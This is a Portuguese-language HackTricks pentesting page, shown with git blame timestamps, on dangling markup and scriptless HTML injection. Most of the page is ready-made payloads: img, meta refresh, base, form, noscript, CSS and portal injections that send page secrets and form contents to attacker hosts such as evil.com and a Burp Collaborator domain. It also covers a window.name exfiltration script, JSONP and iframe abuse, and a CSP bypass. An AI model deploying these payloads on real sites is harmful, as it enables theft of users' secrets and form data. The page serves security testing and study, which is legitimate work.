hacktricks/pentesting-web/dangling-markup-html-scriptless-injection.md

261 lines
15 KiB
Markdown
Raw Normal View History

2023-06-06 18:56:34 +00:00
# Dangling Markup - Injeção HTML sem script
2022-04-28 16:01:33 +00:00
<details>
2023-04-25 18:35:28 +00:00
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
2022-04-28 16:01:33 +00:00
2023-06-06 18:56:34 +00:00
- Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
2022-04-28 16:01:33 +00:00
2023-06-06 18:56:34 +00:00
- Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
2022-04-28 16:01:33 +00:00
2023-06-06 18:56:34 +00:00
- Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
2022-04-28 16:01:33 +00:00
2023-06-06 18:56:34 +00:00
- **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
2022-04-28 16:01:33 +00:00
2023-06-06 18:56:34 +00:00
- **Compartilhe suas técnicas de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
2022-04-28 16:01:33 +00:00
</details>
2023-06-06 18:56:34 +00:00
## Resumo
2022-04-28 16:01:33 +00:00
2023-06-06 18:56:34 +00:00
Esta técnica pode ser usada para extrair informações de um usuário quando uma **injeção HTML é encontrada**. Isso é muito útil se você **não encontrar nenhuma maneira de explorar um** [**XSS** ](xss-cross-site-scripting/) mas você pode **injetar algumas tags HTML**.\
Também é útil se algum **segredo é salvo em texto claro** no HTML e você deseja **exfiltrá-lo do cliente**, ou se você deseja enganar a execução de algum script.
2023-06-06 18:56:34 +00:00
Várias técnicas comentadas aqui podem ser usadas para contornar algumas [**Políticas de Segurança de Conteúdo**](content-security-policy-csp-bypass/) exfiltrando informações de maneiras inesperadas (tags html, CSS, http-meta tags, formulários, base...).
2023-06-06 18:56:34 +00:00
## Principais Aplicações
2023-06-06 18:56:34 +00:00
### Roubo de segredos em texto claro
2023-06-06 18:56:34 +00:00
Se você injetar `<img src='http://evil.com/log.cgi?` quando a página for carregada, a vítima enviará para você todo o código entre a tag `img` injetada e a próxima aspa dentro do código. Se um segredo estiver localizado de alguma forma nesse trecho, você o roubará (você pode fazer a mesma coisa usando uma aspa dupla, veja qual pode ser mais interessante de usar).
2023-06-06 18:56:34 +00:00
Se a tag `img` for proibida (devido a CSP, por exemplo), você também pode usar `<meta http-equiv="refresh" content="4; URL='http://evil.com/log.cgi?`
```
<img src='http://attacker.com/log.php?HTML=
<meta http-equiv="refresh" content='0; url=http://evil.com/log.php?text=
<meta http-equiv="refresh" content='0;URL=ftp://evil.com?a=
```
2023-06-06 18:56:34 +00:00
Observe que o **Chrome bloqueia URLs HTTP** com "<" ou "\n", então você pode tentar outros esquemas de protocolo como "ftp".
2023-06-06 18:56:34 +00:00
Você também pode abusar do `@import` do CSS (enviará todo o código até encontrar um ";").
```markup
<style>@import//hackvertor.co.uk? <--- Injected
<b>steal me!</b>;
```
2023-06-06 18:56:34 +00:00
Você também pode usar **`<table`**:
```bash
<table background='//your-collaborator-id.burpcollaborator.net?'
```
2023-06-06 18:56:34 +00:00
Você também pode inserir uma tag `<base>`. Todas as informações serão enviadas até que a citação seja fechada, mas isso requer alguma interação do usuário (o usuário deve clicar em algum link, porque a tag base terá alterado o domínio apontado pelo link):
```markup
<base target=' <--- Injected
steal me'<b>test</b>
```
2023-06-06 18:56:34 +00:00
### Roubo de formulários
```markup
<base href='http://evil.com/'>
```
2023-06-06 18:56:34 +00:00
Então, os formulários que enviam dados para um caminho (como `<form action='update_profile.php'>`) enviarão os dados para o domínio malicioso.
2023-06-06 18:56:34 +00:00
### Roubo de formulários 2
2023-06-06 18:56:34 +00:00
Defina um cabeçalho de formulário: `<form action='http://evil.com/log_steal'>` isso sobrescreverá o próximo cabeçalho do formulário e todos os dados do formulário serão enviados para o atacante.
2023-06-06 18:56:34 +00:00
### Roubo de formulários 3
2023-06-06 18:56:34 +00:00
O botão pode alterar o URL para onde as informações do formulário serão enviadas com o atributo "formaction":
```markup
<button name=xss type=submit formaction='https://google.com'>I get consumed!
```
2023-06-06 18:56:34 +00:00
Um atacante pode usar isso para roubar informações.
2023-06-06 18:56:34 +00:00
### Roubo de segredos em texto claro 2
2023-06-06 18:56:34 +00:00
Usando a técnica mencionada anteriormente para roubar formulários (injetando um novo cabeçalho de formulário), você pode então injetar um novo campo de entrada:
```markup
<input type='hidden' name='review_body' value="
```
2023-06-06 18:56:34 +00:00
e este campo de entrada conterá todo o conteúdo entre suas aspas duplas e as próximas aspas duplas no HTML. Este ataque mistura "_**Roubo de segredos de texto claro**_" com "_**Roubo de formulários2**_".
2023-06-06 18:56:34 +00:00
Você pode fazer a mesma coisa injetando um formulário e uma tag `<option>`. Todos os dados até que um `</option>` fechado seja encontrado serão enviados:
```markup
<form action=http://google.com><input type="submit">Click Me</input><select name=xss><option
```
2023-06-06 18:56:34 +00:00
### Injeção de parâmetro de formulário
2023-06-06 18:56:34 +00:00
Você pode alterar o caminho de um formulário e inserir novos valores para que uma ação inesperada seja executada:
```markup
<form action='/change_settings.php'>
<input type='hidden' name='invite_user'
value='fredmbogo'> ← Injected lines
<form action="/change_settings.php"> ← Existing form (ignored by the parser)
...
<input type="text" name="invite_user" value=""> ← Subverted field
...
<input type="hidden" name="xsrf_token" value="12345">
...
</form>
```
2023-06-06 18:56:34 +00:00
### Roubo de segredos em texto claro via noscript
2023-06-06 18:56:34 +00:00
`<noscript></noscript>` é uma tag cujo conteúdo será interpretado se o navegador não suportar javascript (você pode habilitar/desabilitar o Javascript no Chrome em [chrome://settings/content/javascript](chrome://settings/content/javascript)).
2023-06-06 18:56:34 +00:00
Uma maneira de exfiltrar o conteúdo da página da web do ponto de injeção até o final para um site controlado pelo atacante será injetando isso:
```markup
<noscript><form action=http://evil.com><input type=submit style="position:absolute;left:0;top:0;width:100%;height:100%;" type=submit value=""><textarea name=contents></noscript>
```
2023-06-06 18:56:34 +00:00
### Bypassando CSP com interação do usuário
2023-06-06 18:56:34 +00:00
A partir desta pesquisa da [PortSwiggers](https://portswigger.net/research/evading-csp-with-dom-based-dangling-markup), é possível aprender que mesmo nos ambientes **mais restritos pelo CSP**, ainda é possível **extrair dados** com alguma **interação do usuário**. Nesta ocasião, vamos usar o payload:
```markup
<a href=http://attacker.net/payload.html><font size=100 color=red>You must click me</font></a>
<base target='
```
2023-06-06 18:56:34 +00:00
Observe que você pedirá à **vítima** que **clique em um link** que o redirecionará para um **payload** controlado por você. Observe também que o atributo **`target`** dentro da tag **`base`** conterá **conteúdo HTML** até a próxima aspa simples.\
Isso fará com que o **valor** de **`window.name`** seja todo esse **conteúdo HTML** quando o link for clicado. Portanto, como você **controla a página** onde a vítima está acessando ao clicar no link, você pode acessar esse **`window.name`** e **extrair** esses dados:
```markup
<script>
if(window.name) {
new Image().src='//your-collaborator-id.burpcollaborator.net?'+encodeURIComponent(window.name);
</script>
```
2023-06-06 18:56:34 +00:00
### Fluxo de script enganoso 1 - Ataque de namespace HTML
2023-06-06 18:56:34 +00:00
Insira uma nova tag com um id dentro do HTML que irá sobrescrever a próxima e com um valor que afetará o fluxo de um script. Neste exemplo, você está selecionando com quem uma informação será compartilhada:
```markup
<input type='hidden' id='share_with' value='fredmbogo'> ← Injected markup
...
Share this status update with: ← Legitimate optional element of a dialog
<input id='share_with' value=''>
...
function submit_status_update() {
...
request.share_with = document.getElementById('share_with').value;
...
}
```
2023-06-06 18:56:34 +00:00
### Fluxo de script enganoso 2 - Ataque de namespace de script
2023-06-06 18:56:34 +00:00
Crie variáveis dentro do namespace do javascript inserindo tags HTML. Em seguida, essa variável afetará o fluxo da aplicação:
```markup
<img id='is_public'> ← Injected markup
...
// Legitimate application code follows
function retrieve_acls() {
...
if (response.access_mode == AM_PUBLIC) ← The subsequent assignment fails in IE
is_public = true;
else
is_public = false;
}
function submit_new_acls() {
...
if (is_public) request.access_mode = AM_PUBLIC; ← Condition always evaluates to true
...
}
```
2023-06-06 18:56:34 +00:00
### Abuso de JSONP
2023-06-06 18:56:34 +00:00
Se você encontrar uma interface JSONP, poderá chamar uma função arbitrária com dados arbitrários:
```markup
<script src='/editor/sharing.js'>: Legitimate script
function set_sharing(public) {
if (public) request.access_mode = AM_PUBLIC;
else request.access_mode = AM_PRIVATE;
...
}
<script src='/search?q=a&call=set_sharing'>: Injected JSONP call
set_sharing({ ... })
```
2023-06-06 18:56:34 +00:00
Ou você pode tentar executar algum javascript:
```markup
<script src='/search?q=a&call=alert(1)'></script>
```
2023-06-06 18:56:34 +00:00
### Abuso de Iframe
2023-06-06 18:56:34 +00:00
Observe que um **documento filho pode visualizar e definir a propriedade de localização do pai, mesmo que seja de origem cruzada.** Isso significa que você pode fazer com que o cliente acesse qualquer outra página carregando dentro de um **iframe** algum código como:
```markup
<html><head></head><body><script>top.window.location = "https://attacker.com/hacked.html"</script></body></html>
```
2023-06-06 18:56:34 +00:00
Isso pode ser mitigado com algo como: _**sandbox= allow-scripts allow-top-navigation**_
2023-06-06 18:56:34 +00:00
Um iframe também pode ser explorado para vazar informações sensíveis de uma página diferente **usando o atributo de nome do iframe**. Isso ocorre porque você pode criar um iframe que se auto-iframe abusando da injeção de HTML que faz com que as **informações sensíveis apareçam dentro do atributo de nome do iframe** e, em seguida, acessar esse nome do iframe inicial e vazá-lo.
2022-07-04 10:37:21 +00:00
```html
<script>
function cspBypass(win) {
win[0].location = 'about:blank';
setTimeout(()=>alert(win[0].name), 500);
}
</script>
<iframe src="//subdomain1.portswigger-labs.net/bypassing-csp-with-dangling-iframes/target.php?email=%22><iframe name=%27" onload="cspBypass(this.contentWindow)"></iframe>
```
2023-06-06 18:56:34 +00:00
Para mais informações, consulte [https://portswigger.net/research/bypassing-csp-with-dangling-iframes](https://portswigger.net/research/bypassing-csp-with-dangling-iframes)
2022-07-04 10:37:21 +00:00
2023-06-06 18:56:34 +00:00
### Abuso de \<meta
2023-06-06 18:56:34 +00:00
Você pode usar **`meta http-equiv`** para realizar **várias ações** como definir um Cookie: `<meta http-equiv="Set-Cookie" Content="SESSID=1">` ou realizar um redirecionamento (em 5s neste caso): `<meta name="language" content="5;http://attacker.svg" HTTP-EQUIV="refresh" />`
2023-06-06 18:56:34 +00:00
Isso pode ser **evitado** com um **CSP** em relação ao **http-equiv** (`Content-Security-Policy: default-src 'self';`, ou `Content-Security-Policy: http-equiv 'self';`)
2023-06-06 18:56:34 +00:00
### Novo tag HTML \<portal>
2023-06-06 18:56:34 +00:00
Você pode encontrar uma pesquisa muito **interessante** sobre vulnerabilidades exploráveis da tag \<portal> [aqui](https://research.securitum.com/security-analysis-of-portal-element/).\
No momento em que este texto foi escrito, você precisa habilitar a tag portal no Chrome em `chrome://flags/#enable-portals` ou ela não funcionará.
```markup
<portal src='https://attacker-server?
```
2023-06-06 18:56:34 +00:00
### Vazamentos de HTML
2023-06-06 18:56:34 +00:00
Nem todas as maneiras de vazar conectividade em HTML serão úteis para o Dangling Markup, mas às vezes pode ajudar. Verifique aqui: [https://github.com/cure53/HTTPLeaks/blob/master/leak.html](https://github.com/cure53/HTTPLeaks/blob/master/leak.html)
2022-06-27 23:34:20 +00:00
## XS-Search
2022-04-05 22:03:49 +00:00
2023-06-06 18:56:34 +00:00
XS-Search é orientado para **exfiltrar informações de origem cruzada** abusando de **ataques de canal lateral**. Portanto, é uma técnica diferente do Dangling Markup, no entanto, algumas das técnicas abusam da inclusão de tags HTML (com e sem execução JS), como [**Injeção de CSS**](xs-search.md#css-injection) ou [**Carregamento Lento de Imagens**](xs-search.md#image-lazy-loading)**.**
2022-04-05 22:03:49 +00:00
2022-06-27 23:34:20 +00:00
{% content-ref url="xs-search.md" %}
[xs-search.md](xs-search.md)
2022-04-05 22:03:49 +00:00
{% endcontent-ref %}
2023-06-06 18:56:34 +00:00
## Lista de Detecção de Força Bruta
2021-06-27 21:56:13 +00:00
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/dangling_markup.txt" %}
2021-06-27 21:56:13 +00:00
2023-06-06 18:56:34 +00:00
## Referências
2023-06-06 18:56:34 +00:00
Todas as técnicas apresentadas aqui e mais podem ser revisadas com mais detalhes em:
{% embed url="http://lcamtuf.coredump.cx/postxss/" %}
2023-06-06 18:56:34 +00:00
Outras tags HTML que podem ser abusadas podem ser encontradas aqui:
{% embed url="http://www.thespanner.co.uk/2011/12/21/html-scriptless-attacks/" %}
2023-06-06 18:56:34 +00:00
Mais informações:
{% embed url="https://portswigger.net/research/evading-csp-with-dom-based-dangling-markup" %}
2022-04-28 16:01:33 +00:00
<details>
2023-04-25 18:35:28 +00:00
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
2022-04-28 16:01:33 +00:00
2023-06-06 18:56:34 +00:00
- Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
2022-04-28 16:01:33 +00:00
2023-06-06 18:56:34 +00:00
- Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
2022-04-28 16:01:33 +00:00
2023-06-06 18:56:34 +00:00
- Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
2022-04-28 16:01:33 +00:00
2023-06-06 18:56:34 +00:00
- **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me no** **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
2022-04-28 16:01:33 +00:00
2023-06-06 18:56:34 +00:00
- **Compartilhe suas técnicas de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
2022-04-28 16:01:33 +00:00
</details>